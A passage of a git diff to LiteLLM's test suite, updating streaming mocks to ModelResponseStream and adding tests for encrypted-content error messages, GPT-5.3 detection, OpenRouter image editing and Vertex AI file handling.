-def construct_text_chunk(text: str) -> ModelResponse: - return ModelResponse( - stream=True, +def construct_text_chunk(text: str) -> ModelResponseStream: + return ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content=text), @@ -59,11 +58,10 @@ def construct_text_chunk(text: str) -> ModelResponse: def construct_split_tool_call( id: str, function_name: str, function_arg_parts: List[str] -) -> List[ModelResponse]: +) -> List[ModelResponseStream]: return [ # https://platform.openai.com/docs/guides/function-calling#streaming - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta( @@ -82,8 +80,7 @@ def construct_split_tool_call( ], ), *[ - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta( @@ -109,8 +106,7 @@ def construct_split_tool_call( def test_anthropic_stream_wrapper_single_tool_call(): responses = [ *construct_split_tool_call("tooluse_foo", "get_weather", ['{"city":', '"NY"}']), - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content="", stop_reason="tool_calls"), @@ -172,8 +168,7 @@ def test_anthropic_stream_wrapper_back_to_back_tool_calls(): responses = [ *construct_split_tool_call("tooluse_foo", "get_weather", ['{"city":', '"NY"}']), *construct_split_tool_call("tooluse_bar", "get_weather", ['{"city":', '"SF"}']), - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content="", stop_reason="tool_calls"), @@ -244,8 +239,7 @@ def test_anthropic_stream_wrapper_interleaved_tool_calls_and_text(): "tooluse_bar", "get_weather", ['{"city":', '"CHI"}'] ), construct_text_chunk("The weather is not so nice today."), - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content="", stop_reason="tool_calls"), diff --git a/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_sse_wrapper.py b/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_sse_wrapper.py index dfcb9b3eb74..63fed907c3c 100644 --- a/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_sse_wrapper.py +++ b/tests/test_litellm/llms/anthropic/experimental_pass_through/messages/test_sse_wrapper.py @@ -9,31 +9,28 @@ sys.path.insert(0, os.path.abspath("../../../../..")) from litellm.llms.anthropic.experimental_pass_through.adapters.streaming_iterator import ( AnthropicStreamWrapper, ) -from litellm.types.utils import Delta, ModelResponse, StreamingChoices +from litellm.types.utils import Delta, ModelResponseStream, StreamingChoices # Create a simple test class MockCompletionStream: def __init__(self): self.responses = [ - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content="Hello"), index=0, finish_reason=None ) ], ), - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content=" World"), index=0, finish_reason=None ) ], ), - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content=""), index=0, finish_reason="stop" @@ -109,16 +106,14 @@ async def test_async_anthropic_sse_wrapper(): class AsyncMockCompletionStream: def __init__(self): self.responses = [ - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content="Hello"), index=0, finish_reason=None ) ], ), - ModelResponse( - stream=True, + ModelResponseStream( choices=[ StreamingChoices( delta=Delta(content=" World"), index=0, finish_reason=None diff --git a/tests/test_litellm/llms/azure/test_azure_exception_mapping.py b/tests/test_litellm/llms/azure/test_azure_exception_mapping.py index 495ca958cf5..249b9349c54 100644 --- a/tests/test_litellm/llms/azure/test_azure_exception_mapping.py +++ b/tests/test_litellm/llms/azure/test_azure_exception_mapping.py @@ -384,4 +384,59 @@ class TestAzureExceptionMapping: model="azure/dall-e-3", original_exception=mock_exception, custom_llm_provider="azure", - ) \ No newline at end of file + ) + + def test_invalid_encrypted_content_error_with_helpful_message(self): + """Test that invalid_encrypted_content errors include helpful guidance + about enabling encrypted_content_affinity.""" + from litellm.exceptions import BadRequestError + + mock_exception = Exception( + "The encrypted content gAAAAABpnW_yEYmSNEyOG... could not be verified. " + "Reason: Encrypted content organization_id did not match the target organization." + ) + mock_exception.body = { + "error": { + "message": "The encrypted content could not be verified.", + "type": "invalid_request_error", + "code": "invalid_encrypted_content", + } + } + mock_response = MagicMock() + mock_response.status_code = 400 + mock_exception.response = mock_response + + with pytest.raises(BadRequestError) as exc_info: + exception_type( + model="azure/gpt-5.1-codex", + original_exception=mock_exception, + custom_llm_provider="azure", + ) + + error = exc_info.value + assert "encrypted_content_affinity" in error.message + assert "enable_pre_call_checks" in error.message + assert "optional_pre_call_checks" in error.message + assert "docs.litellm.ai" in error.message + + def test_openai_invalid_encrypted_content_error(self): + """Test that OpenAI invalid_encrypted_content errors also get helpful guidance.""" + from litellm.exceptions import BadRequestError + + mock_exception = Exception( + "The encrypted content could not be verified." + ) + mock_response = MagicMock() + mock_response.status_code = 400 + mock_exception.response = mock_response + + with pytest.raises(BadRequestError) as exc_info: + exception_type( + model="gpt-5.1-codex", + original_exception=mock_exception, + custom_llm_provider="openai", + ) + + error = exc_info.value + assert "encrypted_content_affinity" in error.message + assert "enable_pre_call_checks" in error.message \ No newline at end of file diff --git a/tests/test_litellm/llms/openai/test_gpt5_transformation.py b/tests/test_litellm/llms/openai/test_gpt5_transformation.py index 1fc984510ef..026aba9ba4d 100644 --- a/tests/test_litellm/llms/openai/test_gpt5_transformation.py +++ b/tests/test_litellm/llms/openai/test_gpt5_transformation.py @@ -269,6 +269,7 @@ def test_gpt5_1_model_detection(gpt5_config: OpenAIGPT5Config): assert gpt5_config.is_model_gpt_5_1_model("gpt-5.2-2025-12-11") assert not gpt5_config.is_model_gpt_5_1_model("gpt-5.2-chat") assert not gpt5_config.is_model_gpt_5_1_model("gpt-5.2-chat-latest") + assert not gpt5_config.is_model_gpt_5_1_model("gpt-5.3-chat-latest") assert not gpt5_config.is_model_gpt_5_1_model("gpt-5.2-pro") assert not gpt5_config.is_model_gpt_5_1_model("gpt-5") assert not gpt5_config.is_model_gpt_5_1_model("gpt-5-mini") @@ -402,7 +403,7 @@ def test_gpt5_2_chat_temperature_restricted(config: OpenAIConfig): Regression test for https://github.com/BerriAI/litellm/issues/21911 """ # gpt-5.2-chat should reject non-1 temperature when drop_params=False - for model in ["gpt-5.2-chat", "gpt-5.2-chat-latest"]: + for model in ["gpt-5.2-chat", "gpt-5.2-chat-latest", "gpt-5.3-chat-latest"]: with pytest.raises(litellm.utils.UnsupportedParamsError): config.map_openai_params( non_default_params={"temperature": 0.7}, diff --git a/tests/test_litellm/llms/openrouter/image_edit/__init__.py b/tests/test_litellm/llms/openrouter/image_edit/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/tests/test_litellm/llms/openrouter/image_edit/test_openrouter_image_edit_transformation.py b/tests/test_litellm/llms/openrouter/image_edit/test_openrouter_image_edit_transformation.py new file mode 100644 index 00000000000..924e45dbf3a --- /dev/null +++ b/tests/test_litellm/llms/openrouter/image_edit/test_openrouter_image_edit_transformation.py @@ -0,0 +1,540 @@ +import base64 +import json +import os +import sys +from io import BytesIO +from unittest.mock import MagicMock, patch + +import httpx +import pytest + +sys.path.insert( + 0, os.path.abspath("../../../../..") +) # Adds the parent directory to the system path + +from litellm.llms.openrouter.common_utils import OpenRouterException +from litellm.llms.openrouter.image_edit.transformation import ( + OpenRouterImageEditConfig, +) +from litellm.types.router import GenericLiteLLMParams +from litellm.types.utils import ImageResponse + + +class TestOpenRouterImageEditTransformation: + def setup_method(self): + """Set up test fixtures before each test method.""" + self.config = OpenRouterImageEditConfig() + self.model = "google/gemini-2.5-flash-image" + self.logging_obj = MagicMock() + self.sample_image_bytes = b"\x89PNG\r\n\x1a\n" + b"\x00" * 100 + + def test_get_supported_openai_params(self): + """Test that get_supported_openai_params returns correct parameters.""" + supported_params = self.config.get_supported_openai_params(self.model) + + assert "size" in supported_params + assert "quality" in supported_params + assert "n" in supported_params + assert len(supported_params) == 3 + + def test_use_multipart_form_data_returns_false(self): + """Test that OpenRouter uses JSON, not multipart/form-data.""" + assert self.config.use_multipart_form_data() is False + + # Parameter mapping tests + + def test_map_openai_params_size(self): + """Test that size is mapped to image_config.aspect_ratio.""" + result = self.config.map_openai_params( + image_edit_optional_params={"size": "1024x1024"}, + model=self.model, + drop_params=False, + ) + + assert "image_config" in result + assert result["image_config"]["aspect_ratio"] == "1:1" + + def test_map_openai_params_quality(self): + """Test that quality is mapped to image_config.image_size.""" + result = self.config.map_openai_params( + image_edit_optional_params={"quality": "high"}, + model=self.model, + drop_params=False, + ) + + assert "image_config" in result + assert result["image_config"]["image_size"] == "4K" + + def test_map_openai_params_size_and_quality(self): + """Test that both size and quality are mapped correctly.""" + result = self.config.map_openai_params( + image_edit_optional_params={"size": "1792x1024", "quality": "hd"}, + model=self.model, + drop_params=False, + ) + + assert result["image_config"]["aspect_ratio"] == "16:9" + assert result["image_config"]["image_size"] == "4K" + + def test_map_openai_params_n_passthrough(self): + """Test that n parameter is passed through directly.""" + result = self.config.map_openai_params( + image_edit_optional_params={"n": 2}, + model=self.model, + drop_params=False, + ) + + assert result["n"] == 2 + + def test_map_openai_params_unknown_quality_ignored(self): + """Test that unknown quality values produce no image_size mapping.""" + result = self.config.map_openai_params( + image_edit_optional_params={"quality": "unknown_value"}, + model=self.model, + drop_params=False, + ) + + assert "image_config" not in result + + # Size-to-aspect-ratio mapping tests + + def test_map_size_to_aspect_ratio_square(self): + """Test mapping square sizes to 1:1 aspect ratio.""" + assert self.config._map_size_to_aspect_ratio("256x256") == "1:1" + assert self.config._map_size_to_aspect_ratio("512x512") == "1:1" + assert self.config._map_size_to_aspect_ratio("1024x1024") == "1:1" + + def test_map_size_to_aspect_ratio_landscape(self): + """Test mapping landscape sizes to correct aspect ratios.""" + assert self.config._map_size_to_aspect_ratio("1536x1024") == "3:2" + assert self.config._map_size_to_aspect_ratio("1792x1024") == "16:9" + + def test_map_size_to_aspect_ratio_portrait(self): + """Test mapping portrait sizes to correct aspect ratios.""" + assert self.config._map_size_to_aspect_ratio("1024x1536") == "2:3" + assert self.config._map_size_to_aspect_ratio("1024x1792") == "9:16" + + def test_map_size_to_aspect_ratio_unknown_defaults_to_1_1(self): + """Test that unknown size defaults to 1:1.""" + assert self.config._map_size_to_aspect_ratio("999x999") == "1:1" + + # Quality-to-image-size mapping tests + + def test_map_quality_to_image_size(self): + """Test quality to image size mappings.""" + assert self.config._map_quality_to_image_size("low") == "1K" + assert self.config._map_quality_to_image_size("standard") == "1K" + assert self.config._map_quality_to_image_size("auto") == "1K" + assert self.config._map_quality_to_image_size("medium") == "2K" + assert self.config._map_quality_to_image_size("high") == "4K" + assert self.config._map_quality_to_image_size("hd") == "4K" + + def test_map_quality_to_image_size_unknown_returns_none(self): + """Test that unknown quality returns None.""" + assert self.config._map_quality_to_image_size("unknown") is None + + # URL tests + + def test_get_complete_url_default(self): + """Test that default URL is OpenRouter chat completions endpoint.""" + result = self.config.get_complete_url( + model=self.model, + api_base=None, + litellm_params={}, + ) + + assert result == "https://openrouter.ai/api/v1/chat/completions" + + def test_get_complete_url_with_custom_base(self): + """Test that custom api_base gets /chat/completions appended.""" + result = self.config.get_complete_url( + model=self.model, + api_base="https://custom.openrouter.ai/api/v1", + litellm_params={}, + ) + + assert result == "https://custom.openrouter.ai/api/v1/chat/completions" + + def test_get_complete_url_with_complete_base(self): + """Test that api_base already ending in /chat/completions is not duplicated.""" + url = "https://custom.openrouter.ai/api/v1/chat/completions" + result = self.config.get_complete_url( + model=self.model, + api_base=url, + litellm_params={}, + ) + + assert result == url + + # Validate environment tests + + @patch("litellm.llms.openrouter.image_edit.transformation.get_secret_str") + def test_validate_environment_with_api_key(self, mock_get_secret): + """Test that validate_environment sets authorization header with provided key.""" + headers = {} + result = self.config.validate_environment( + headers=headers, + model=self.model, + api_key="test_api_key", + ) + + assert result["Authorization"] == "Bearer test_api_key" + mock_get_secret.assert_not_called() + + @patch("litellm.llms.openrouter.image_edit.transformation.get_secret_str") + def test_validate_environment_with_secret_key(self, mock_get_secret): + """Test that validate_environment falls back to secret key.""" + mock_get_secret.return_value = "secret_api_key" + headers = {} + result = self.config.validate_environment( + headers=headers, + model=self.model, + api_key=None, + ) + + assert result["Authorization"] == "Bearer secret_api_key" + + @patch("litellm.llms.openrouter.image_edit.transformation.litellm") + @patch("litellm.llms.openrouter.image_edit.transformation.get_secret_str") + def test_validate_environment_missing_api_key_raises(self, mock_get_secret, mock_litellm): + """Test that validate_environment raises ValueError when no API key is available.""" + mock_get_secret.return_value = None + mock_litellm.api_key = None + + with pytest.raises(ValueError, match="OPENROUTER_API_KEY is not set"): + self.config.validate_environment( + headers={}, + model=self.model, + api_key=None, + ) + + # Request transformation tests + + def test_transform_image_edit_request_basic(self): + """Test basic request transformation with image and prompt.""" + data, files = self.config.transform_image_edit_request( + model=self.model, + prompt="Add a sunset to this image", + image=self.sample_image_bytes, + image_edit_optional_request_params={}, + litellm_params=GenericLiteLLMParams(), + headers={}, + ) + + assert data["model"] == self.model + assert data["modalities"] == ["image", "text"] + assert len(data["messages"]) == 1 + assert data["messages"][0]["role"] == "user" + + content = data["messages"][0]["content"] + assert len(content) == 2 + + # First content part should be the image + assert content[0]["type"] == "image_url" + assert content[0]["image_url"]["url"].startswith("data:image/png;base64,") + + # Second content part should be the text prompt + assert content[1]["type"] == "text" + assert content[1]["text"] == "Add a sunset to this image" + + # Files should be empty (JSON mode) + assert list(files) == [] + + def test_transform_image_edit_request_with_bytesio(self): + """Test request transformation with BytesIO image input.""" + image = BytesIO(self.sample_image_bytes) + data, files = self.config.transform_image_edit_request( + model=self.model, + prompt="Edit this", + image=image, + image_edit_optional_request_params={}, + litellm_params=GenericLiteLLMParams(), + headers={}, + ) + + content = data["messages"][0]["content"] + assert content[0]["type"] == "image_url" + assert content[0]["image_url"]["url"].startswith("data:image/png;base64,") + + def test_transform_image_edit_request_with_multiple_images(self): + """Test request transformation with a list of images.""" + images = [self.sample_image_bytes, self.sample_image_bytes] + data, files = self.config.transform_image_edit_request( + model=self.model, + prompt="Combine these images", + image=images, + image_edit_optional_request_params={}, + litellm_params=GenericLiteLLMParams(), + headers={}, + ) + + content = data["messages"][0]["content"] + # Two image parts + one text part + assert len(content) == 3 + assert content[0]["type"] == "image_url" + assert content[1]["type"] == "image_url" + assert content[2]["type"] == "text" + + def test_transform_image_edit_request_with_optional_params(self): + """Test that optional params are included in request body.""" + data, files = self.config.transform_image_edit_request( + model=self.model, + prompt="Edit this", + image=self.sample_image_bytes, + image_edit_optional_request_params={ + "image_config": {"aspect_ratio": "16:9"}, + "n": 2, + }, + litellm_params=GenericLiteLLMParams(), + headers={}, + ) + + assert data["image_config"]["aspect_ratio"] == "16:9" + assert data["n"] == 2 + + def test_transform_image_edit_request_base64_encoding(self): + """Test that image bytes are correctly base64-encoded in the request.""" + raw_bytes = b"test_image_data" + expected_b64 = base64.b64encode(raw_bytes).decode("utf-8") + + data, _ = self.config.transform_image_edit_request( + model=self.model, + prompt="Edit", + image=raw_bytes, + image_edit_optional_request_params={}, + litellm_params=GenericLiteLLMParams(), + headers={}, + ) + + image_url = data["messages"][0]["content"][0]["image_url"]["url"] + # Extract the base64 part after the data URL prefix + b64_part = image_url.split(",", 1)[1] + assert b64_part == expected_b64 + + def test_transform_image_edit_request_no_prompt(self): + """Test request transformation with no prompt (image-only).""" + data, _ = self.config.transform_image_edit_request( + model=self.model, + prompt=None, + image=self.sample_image_bytes, + image_edit_optional_request_params={}, + litellm_params=GenericLiteLLMParams(), + headers={}, + ) + + content = data["messages"][0]["content"] + # Only image, no text part + assert len(content) == 1 + assert content[0]["type"] == "image_url" + + # Response transformation tests + + def test_transform_image_edit_response_with_base64(self): + """Test response transformation with base64 image data.""" + response_data = { + "choices": [{ + "message": { + "content": "Here is the edited image.", + "role": "assistant", + "images": [{ + "image_url": {"url": "data:image/png;base64,iVBORw0KGgoAAAANS"}, + "type": "image_url" + }] + } + }], + "usage": { + "prompt_tokens": 300, + "completion_tokens": 1299, + "total_tokens": 1599, + "completion_tokens_details": {"image_tokens": 1290}, + "cost": 0.05 + }, + "model": self.model + } + + mock_response = MagicMock() + mock_response.json.return_value = response_data + mock_response.status_code = 200 + mock_response.headers = {} + + result = self.config.transform_image_edit_response( + model=self.model, + raw_response=mock_response, + logging_obj=self.logging_obj, + ) + + assert len(result.data) == 1 + assert result.data[0].b64_json == "iVBORw0KGgoAAAANS" + assert result.data[0].url is None + + def test_transform_image_edit_response_with_url(self): + """Test response transformation with URL image data.""" + response_data = { + "choices": [{ + "message": { + "content": "Edited.", + "role": "assistant", + "images": [{ + "image_url": {"url": "https://example.com/edited.png"}, + "type": "image_url" + }] + } + }], + "usage": {"prompt_tokens": 10, "total_tokens": 1310}, + "model": self.model + } + + mock_response = MagicMock() + mock_response.json.return_value = response_data + mock_response.status_code = 200 + mock_response.headers = {} + + result = self.config.transform_image_edit_response( + model=self.model, + raw_response=mock_response, + logging_obj=self.logging_obj, + ) + + assert len(result.data) == 1 + assert result.data[0].url == "https://example.com/edited.png" + assert result.data[0].b64_json is None + + def test_transform_image_edit_response_usage_and_cost(self): + """Test that usage and cost are correctly extracted from response.""" + response_data = { + "choices": [{ + "message": { + "content": "Edited.", + "role": "assistant", + "images": [{ + "image_url": {"url": "data:image/png;base64,abc123"}, + "type": "image_url" + }] + } + }], + "usage": { + "prompt_tokens": 300, + "completion_tokens": 1299, + "total_tokens": 1599, + "completion_tokens_details": {"image_tokens": 1290}, + "prompt_tokens_details": {"image_tokens": 258}, + "cost": 0.05, + "cost_details": {"input_cost": 0.01, "output_cost": 0.04} + }, + "model": self.model + } + + mock_response = MagicMock() + mock_response.json.return_value = response_data + mock_response.status_code = 200 + mock_response.headers = {} + + result = self.config.transform_image_edit_response( + model=self.model, + raw_response=mock_response, + logging_obj=self.logging_obj, + ) + + # Check usage + assert result.usage is not None + assert result.usage.input_tokens == 300 + assert result.usage.output_tokens == 1290 + assert result.usage.total_tokens == 1599 + assert result.usage.input_tokens_details.image_tokens == 258 + assert result.usage.input_tokens_details.text_tokens == 42 + + # Check cost + assert result._hidden_params["additional_headers"]["llm_provider-x-litellm-response-cost"] == 0.05 + + # Check cost details + assert result._hidden_params["response_cost_details"]["input_cost"] == 0.01 + assert result._hidden_params["response_cost_details"]["output_cost"] == 0.04 + + # Check model + assert result._hidden_params["model"] == self.model + + def test_transform_image_edit_response_multiple_images(self): + """Test response transformation with multiple output images.""" + response_data = { + "choices": [{ + "message": { + "content": "Here are your edits.", + "role": "assistant", + "images": [ + { + "image_url": {"url": "data:image/png;base64,img1data"}, + "type": "image_url" + }, + { + "image_url": {"url": "data:image/png;base64,img2data"}, + "type": "image_url" + } + ] + } + }], + "usage": {"prompt_tokens": 300, "total_tokens": 2600}, + "model": self.model + } + + mock_response = MagicMock() + mock_response.json.return_value = response_data + mock_response.status_code = 200 + mock_response.headers = {} + + result = self.config.transform_image_edit_response( + model=self.model, + raw_response=mock_response, + logging_obj=self.logging_obj, + ) + + assert len(result.data) == 2 + assert result.data[0].b64_json == "img1data" + assert result.data[1].b64_json == "img2data" + + def test_transform_image_edit_response_json_error(self): + """Test that invalid JSON response raises OpenRouterException.""" + mock_response = MagicMock() + mock_response.json.side_effect = json.JSONDecodeError("Invalid JSON", "", 0) + mock_response.status_code = 500 + mock_response.headers = {} + + with pytest.raises(OpenRouterException) as exc_info: + self.config.transform_image_edit_response( + model=self.model, + raw_response=mock_response, + logging_obj=self.logging_obj, + ) + + assert "Error parsing OpenRouter response" in str(exc_info.value) + assert exc_info.value.status_code == 500 + + def test_get_error_class(self): + """Test that get_error_class returns OpenRouterException.""" + error = self.config.get_error_class( + error_message="Test error", + status_code=400, + headers={"Content-Type": "application/json"}, + ) + + assert isinstance(error, OpenRouterException) + assert error.status_code == 400 + + # Read image bytes tests + + def test_read_image_bytes_from_bytes(self): + """Test reading bytes directly.""" + result = self.config._read_image_bytes(b"raw_bytes") + assert result == b"raw_bytes" + + def test_read_image_bytes_from_bytesio(self): + """Test reading bytes from BytesIO.""" + bio = BytesIO(b"bytesio_data") + bio.seek(5) # Move position to test seek reset + result = self.config._read_image_bytes(bio) + assert result == b"bytesio_data" + assert bio.tell() == 5 # Position should be restored + + def test_read_image_bytes_unsupported_type(self): + """Test that unsupported image type raises ValueError.""" + with pytest.raises(ValueError, match="Unsupported image type"): + self.config._read_image_bytes("not_an_image") # type: ignore diff --git a/tests/test_litellm/llms/vertex_ai/files/test_file_retrieve_provider_routing.py b/tests/test_litellm/llms/vertex_ai/files/test_file_retrieve_provider_routing.py new file mode 100644 index 00000000000..68d5e2035f7 --- /dev/null +++ b/tests/test_litellm/llms/vertex_ai/files/test_file_retrieve_provider_routing.py @@ -0,0 +1,127 @@ +""" +Tests for Fix 1: file_retrieve Literal type was missing 'vertex_ai' and 'gemini', +causing a type mismatch when afile_retrieve delegated to the sync function. +""" + +import pytest +from unittest.mock import MagicMock, patch + +from litellm.files.main import file_retrieve + + +class TestFileRetrieveProviderRouting: + """ + Verify that file_retrieve accepts 'vertex_ai' and 'gemini' providers and + routes them through ProviderConfigManager / base_llm_http_handler. + """ + + def _make_mock_file_object(self): + mock = MagicMock() + mock.model_dump.return_value = { + "id": "gs://my-bucket/file.jsonl", + "object": "file", + "bytes": 1024, + "created_at": 0, + "filename": "file.jsonl", + "purpose": "batch", + "status": "processed", + } + return mock + + def test_should_route_vertex_ai_through_provider_config(self): + """ + Regression: file_retrieve Literal type was missing 'vertex_ai', + so passing custom_llm_provider='vertex_ai' would fail type-checking + and potentially cause a routing failure at runtime. + """ + mock_file = self._make_mock_file_object() + + with patch( + "litellm.files.main.base_llm_http_handler.retrieve_file", + return_value=mock_file, + ) as mock_retrieve: + result = file_retrieve( + file_id="gs://my-bucket/file.jsonl", + custom_llm_provider="vertex_ai", + ) + + mock_retrieve.assert_called_once() + assert result is not None + + def test_should_route_gemini_through_provider_config(self): + """ + Regression: file_retrieve Literal type was also missing 'gemini'. + """ + mock_file = self._make_mock_file_object() + + with patch( + "litellm.files.main.base_llm_http_handler.retrieve_file", + return_value=mock_file, + ) as mock_retrieve: + result = file_retrieve( + file_id="some-gemini-file-id", + custom_llm_provider="gemini", + ) + + mock_retrieve.assert_called_once() + assert result is not None + + def test_should_pass_file_id_to_handler_for_vertex_ai(self): + """Verify the file_id is forwarded correctly to the underlying handler.""" + mock_file = self._make_mock_file_object() + expected_file_id = "gs://my-bucket/path/to/file.jsonl" + + with patch( + "litellm.files.main.base_llm_http_handler.retrieve_file", + return_value=mock_file, + ) as mock_retrieve: + file_retrieve( + file_id=expected_file_id, + custom_llm_provider="vertex_ai", + ) + + call_kwargs = mock_retrieve.call_args.kwargs + assert call_kwargs.get("file_id") == expected_file_id + + def test_should_not_raise_bad_request_for_vertex_ai(self): + """ + Before the fix, vertex_ai fell through to the else-branch which raised + BadRequestError. Verify it no longer does. + """ + import litellm + + mock_file = self._make_mock_file_object() + + with patch( + "litellm.files.main.base_llm_http_handler.retrieve_file", + return_value=mock_file, + ): + try: + file_retrieve( + file_id="gs://my-bucket/file.jsonl", + custom_llm_provider="vertex_ai", + ) + except litellm.exceptions.BadRequestError as e: + pytest.fail( + f"file_retrieve raised BadRequestError for vertex_ai: {e}" + ) + + def test_should_not_raise_bad_request_for_gemini(self): + """Same as above but for 'gemini'.""" + import litellm + + mock_file = self._make_mock_file_object() + + with patch( + "litellm.files.main.base_llm_http_handler.retrieve_file", + return_value=mock_file, + ): + try: + file_retrieve( + file_id="some-file-id", + custom_llm_provider="gemini", + ) + except litellm.exceptions.BadRequestError as e: + pytest.fail( + f"file_retrieve raised BadRequestError for gemini: {e}" + ) diff --git a/tests/test_litellm/llms/vertex_ai/files/test_vertex_ai_files_transformation.py b/tests/test_litellm/llms/vertex_ai/files/test_vertex_ai_files_transformation.py new file mode 100644 index 00000000000..598ad255aca --- /dev/null +++ b/tests/test_litellm/llms/vertex_ai/files/test_vertex_ai_files_transformation.py @@ -0,0 +1,230 @@ +""" +Tests for VertexAIFilesConfig transformation methods (Issues 5-7). +""" + +import json +import urllib.parse + +import httpx +import pytest +from unittest.mock import MagicMock + +from litellm.llms.vertex_ai.files.transformation import VertexAIFilesConfig +from litellm.types.llms.openai import OpenAIFileObject, HttpxBinaryResponseContent +from openai.types.file_deleted import FileDeleted + + +@pytest.fixture +def config(): + return VertexAIFilesConfig() + + +class TestParseGcsUri: + """Tests for the _parse_gcs_uri helper used by retrieve / content / delete.""" + + def test_should_parse_standard_gs_uri(self, config): + bucket, encoded = config._parse_gcs_uri( + "gs://my-bucket/path/to/object.jsonl" + ) + assert bucket == "my-bucket" + assert encoded == urllib.parse.quote("path/to/object.jsonl", safe="") + + def test_should_parse_uri_with_nested_publisher_path(self, config): + uri = "gs://litellm-local/litellm-vertex-files/publishers/google/models/gemini-2.0-flash-001/abc-123" + bucket, encoded = config._parse_gcs_uri(uri) + assert bucket == "litellm-local" + expected_path = "litellm-vertex-files/publishers/google/models/gemini-2.0-flash-001/abc-123" + assert encoded == urllib.parse.quote(expected_path, safe="") + + def test_should_handle_url_encoded_input(self, config): + encoded_uri = urllib.parse.quote("gs://my-bucket/some/path", safe="") + bucket, encoded = config._parse_gcs_uri(encoded_uri) + assert bucket == "my-bucket" + assert encoded == urllib.parse.quote("some/path", safe="") + + def test_should_handle_bucket_only(self, config): + bucket, encoded = config._parse_gcs_uri("gs://my-bucket") + assert bucket == "my-bucket" + assert encoded == "" + + def test_should_handle_no_gs_prefix(self, config): + bucket, encoded = config._parse_gcs_uri("my-bucket/object.txt") + assert bucket == "my-bucket" + assert encoded == "object.txt" + +class TestTransformRetrieveFile: + + def test_should_build_correct_gcs_metadata_url(self, config): + file_id = "gs://my-bucket/path/to/file.jsonl" + url, params = config.transform_retrieve_file_request( + file_id=file_id, optional_params={}, litellm_params={} + ) + expected_encoded = urllib.parse.quote("path/to/file.jsonl", safe="") + assert url == f"https://storage.googleapis.com/storage/v1/b/my-bucket/o/{expected_encoded}" + assert params == {} + + def test_should_return_openai_file_object_from_gcs_response(self, config): + gcs_json = { + "id": "my-bucket/path/to/file.jsonl/123456", + "name": "path/to/file.jsonl", + "size": "4096", + "timeCreated": "2025-02-15T10:00:00.000Z", + "metadata": {"purpose": "batch"}, + } + raw_response = MagicMock(spec=httpx.Response) + raw_response.json.return_value = gcs_json + + result = config.transform_retrieve_file_response( + raw_response=raw_response, + logging_obj=MagicMock(), + litellm_params={}, + ) + + assert isinstance(result, OpenAIFileObject) + assert result.id == "gs://my-bucket/path/to/file.jsonl" + assert result.filename == "path/to/file.jsonl" + assert result.bytes == 4096 + assert result.object == "file" + assert result.status == "processed" + assert result.purpose == "batch" + + def test_should_default_purpose_to_batch_when_metadata_missing(self, config): + gcs_json = { + "id": "bucket/obj/999", + "name": "obj", + "size": "0", + "timeCreated": "2025-01-01T00:00:00.000Z", + } + raw_response = MagicMock(spec=httpx.Response) + raw_response.json.return_value = gcs_json + + result = config.transform_retrieve_file_response( + raw_response=raw_response, + logging_obj=MagicMock(), + litellm_params={}, + ) + assert result.purpose == "batch" + + +class TestTransformFileContent: + + def test_should_build_gcs_media_download_url(self, config): + file_id = "gs://my-bucket/path/to/file.jsonl" + url, params = config.transform_file_content_request( + file_content_request={"file_id": file_id}, + optional_params={}, + litellm_params={}, + ) + encoded = urllib.parse.quote("path/to/file.jsonl", safe="") + assert url == f"https://storage.googleapis.com/storage/v1/b/my-bucket/o/{encoded}?alt=media" + assert params == {} + + def test_should_return_binary_response_content(self, config): + raw_response = httpx.Response( + status_code=200, + content=b'{"line": 1}\n{"line": 2}\n', + headers={"content-type": "application/octet-stream"}, + request=httpx.Request("GET", "https://example.com"), + ) + + result = config.transform_file_content_response( + raw_response=raw_response, + logging_obj=MagicMock(), + litellm_params={}, + ) + + assert isinstance(result, HttpxBinaryResponseContent) + assert result.response.content == b'{"line": 1}\n{"line": 2}\n' + + +class TestTransformDeleteFile: + def test_should_build_correct_gcs_delete_url(self, config): + file_id = "gs://my-bucket/path/to/file.jsonl" + url, params = config.transform_delete_file_request( + file_id=file_id, optional_params={}, litellm_params={} + ) + encoded = urllib.parse.quote("path/to/file.jsonl", safe="") + assert url == f"https://storage.googleapis.com/storage/v1/b/my-bucket/o/{encoded}" + assert params == {} + + def test_should_return_file_deleted_with_reconstructed_id(self, config): + raw_response = MagicMock(spec=httpx.Response) + mock_request = MagicMock() + encoded_name = urllib.parse.quote( + "litellm-vertex-files/publishers/google/models/gemini-2.0-flash-001/abc", safe="" + ) + mock_request.url = ( + f"https://storage.googleapis.com/storage/v1/b/my-bucket/o/{encoded_name}" + ) + raw_response.request = mock_request + + result = config.transform_delete_file_response( + raw_response=raw_response, + logging_obj=MagicMock(), + litellm_params={}, + ) + + assert isinstance(result, FileDeleted) + assert result.deleted is True + assert result.object == "file" + assert result.id == "gs://my-bucket/litellm-vertex-files/publishers/google/models/gemini-2.0-flash-001/abc" + + def test_should_fallback_to_deleted_id_when_no_request(self, config): + raw_response = MagicMock(spec=httpx.Response) + raw_response.request = None + + result = config.transform_delete_file_response( + raw_response=raw_response, + logging_obj=MagicMock(), + litellm_params={}, + ) + + assert isinstance(result, FileDeleted) + assert result.id == "deleted" + assert result.deleted is True + + def test_should_include_bucket_name_in_reconstructed_delete_id(self, config): + """ + Regression: the old code split on /o/ only, dropping the bucket from + the reconstructed gs:// URI. e.g. gs://path/to/file instead of + gs://my-bucket/path/to/file. + """ + raw_response = MagicMock(spec=httpx.Response) + mock_request = MagicMock() + encoded_object = urllib.parse.quote("path/to/file.jsonl", safe="") + mock_request.url = ( + f"https://storage.googleapis.com/storage/v1/b/my-bucket/o/{encoded_object}" + ) + raw_response.request = mock_request + + result = config.transform_delete_file_response( + raw_response=raw_response, + logging_obj=MagicMock(), + 